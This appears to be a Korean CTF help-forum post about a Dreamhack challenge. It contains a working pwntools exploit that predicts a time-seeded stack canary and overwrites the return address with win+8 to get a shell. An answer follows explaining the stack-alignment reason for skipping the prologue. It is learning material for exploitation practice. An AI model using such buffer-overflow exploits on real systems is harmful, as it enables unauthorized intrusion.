from ctypes import *
from pwn import *
p = remote('host3.dreamhack.games', 18719)
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))
p.recvuntil(': ')
p.recvuntil('\n')
payload = b'B'*16
canary = 0
for i in range(8):
temp = canary << 8
canary = temp | libc.rand() & 0xff
canary = canary.to_bytes(8, byteorder="little")
print(p32(0x401291))
payload += canary
payload += b'C'*16 + p64(0x401299)
p.sendlineafter(': ', payload)
p.interactive()
payload += b'C'*16 + p64(0x401299)에서
왜 win의 주소인 0x401291에서 +0x8을 더해주는지 궁금합니다.
저걸 더해서 8바이트가 추가되는 건가요 ?
지금 하고 계신 공격 기법은 return address
를 변조시켜서 실행 흐름을 바꾸는 공격 기법입니다. 기존의 return address
값에 따라서 함수가 반환하게 되면 함수를 호출한 곳으로 실행 흐름이 돌아가게 됩니다. 함수를 호출한 곳은, 아마도 다른 어떠한 함수의 중간 지점에서 해당 함수를 호출하였겠지요.
그러면 기존의 return address
값 대신 win
함수의 시작 주소로 변조하게 된다면 반환 뒤에 win
함수의 시작 주소로 가게 됩니다. 이 경우에는 해당 함수가 사용할 스택 공간을 확보하는 함수 프롤로그 과정이 포함되어 있습니다. 그러면 변조하지 않았을 때와 비교했을 때 스택 상황이 달라지게 됩니다.
system
함수의 내부를 살펴보면 movaps
혹은 movups
어셈블리 명령어가 중간에 삽입되어 있습니다. 해당 명령어는 stack의 align 여부를 확인하고 조건에 맞지 않으면 에러를 뱉습니다. 이 상황을 피하기 위해서 win
함수의 프롤로그가 종료된 이후인 win+8
로 실행 흐름을 넘겨서 stack 상황을 정상 상황과 동일하게 맞춰주는 방식을 사용한 것입니다.